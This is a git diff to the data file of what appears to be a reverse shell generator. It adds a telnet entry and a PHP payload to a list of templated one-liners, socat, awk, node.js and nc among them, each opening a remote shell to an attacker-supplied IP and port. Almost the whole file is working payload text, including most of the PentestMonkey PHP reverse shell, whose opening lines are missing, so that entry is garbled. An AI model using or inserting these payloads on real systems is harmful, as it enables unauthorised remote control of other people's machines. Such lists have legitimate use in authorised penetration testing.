diff --git a/data.js b/data.js index 00d3cf9..9f5c496 100644 --- a/data.js +++ b/data.js @@ -39,8 +39,10 @@ const rsgData = { ['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'], ['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'], ['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'], - ['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')'] - + ['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')'], + ['telnet', 'TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | /bin/sh 1>$TF'] + // fix escaping ['PentestMonkey PHP', '\r\n array(\"pipe\", \"r\"), \/\/ stdin is a pipe that the child will read from\r\n 1 => array(\"pipe\", \"w\"), \/\/ stdout is a pipe that the child will write to\r\n 2 => array(\"pipe\", \"w\") \/\/ stderr is a pipe that the child will write to\r\n );\r\n\r\n $process = proc_open($shell, $descriptorspec, $pipes);\r\n\r\n if (!is_resource($process)) {\r\n printit(\"ERROR: Can\'t spawn shell\");\r\n exit(1);\r\n }\r\n\r\n \/\/ Set everything to non-blocking\r\n \/\/ Reason: Occsionally reads will block, even though stream_select tells us they won\'t\r\n stream_set_blocking($pipes[0], 0);\r\n stream_set_blocking($pipes[1], 0);\r\n stream_set_blocking($pipes[2], 0);\r\n stream_set_blocking($sock, 0);\r\n\r\n printit(\"Successfully opened reverse shell to $ip:$port\");\r\n\r\n while (1) {\r\n \/\/ Check for end of TCP connection\r\n if (feof($sock)) {\r\n printit(\"ERROR: Shell connection terminated\");\r\n break;\r\n }\r\n\r\n \/\/ Check for end of STDOUT\r\n if (feof($pipes[1])) {\r\n printit(\"ERROR: Shell process terminated\");\r\n break;\r\n }\r\n\r\n \/\/ Wait until a command is end down $sock, or some\r\n \/\/ command output is available on STDOUT or STDERR\r\n $read_a = array($sock, $pipes[1], $pipes[2]);\r\n $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\r\n\r\n \/\/ If we can read from the TCP socket, send\r\n \/\/ data to process\'s STDIN\r\n if (in_array($sock, $read_a)) {\r\n if ($debug) printit(\"SOCK READ\");\r\n $input = fread($sock, $chunk_size);\r\n if ($debug) printit(\"SOCK: $input\");\r\n fwrite($pipes[0], $input);\r\n }\r\n\r\n \/\/ If we can read from the process\'s STDOUT\r\n \/\/ send data down tcp connection\r\n if (in_array($pipes[1], $read_a)) {\r\n if ($debug) printit(\"STDOUT READ\");\r\n $input = fread($pipes[1], $chunk_size);\r\n if ($debug) printit(\"STDOUT: $input\");\r\n fwrite($sock, $input);\r\n }\r\n\r\n \/\/ If we can read from the process\'s STDERR\r\n \/\/ send data down tcp connection\r\n if (in_array($pipes[2], $read_a)) {\r\n if ($debug) printit(\"STDERR READ\");\r\n $input = fread($pipes[2], $chunk_size);\r\n if ($debug) printit(\"STDERR: $input\");\r\n fwrite($sock, $input);\r\n }\r\n }\r\n\r\n fclose($sock);\r\n fclose($pipes[0]);\r\n fclose($pipes[1]);\r\n fclose($pipes[2]);\r\n proc_close($process);\r\n\r\n \/\/ Like print, but does nothing if we\'ve daemonised ourself\r\n \/\/ (I can\'t figure out how to redirect STDOUT like a proper daemon)\r\n function printit ($string) {\r\n if (!$daemon) {\r\n print \"$string\r\n\";\r\n }\r\n }\r\n\r\n ?> \r\n'] + ], specialCommands: {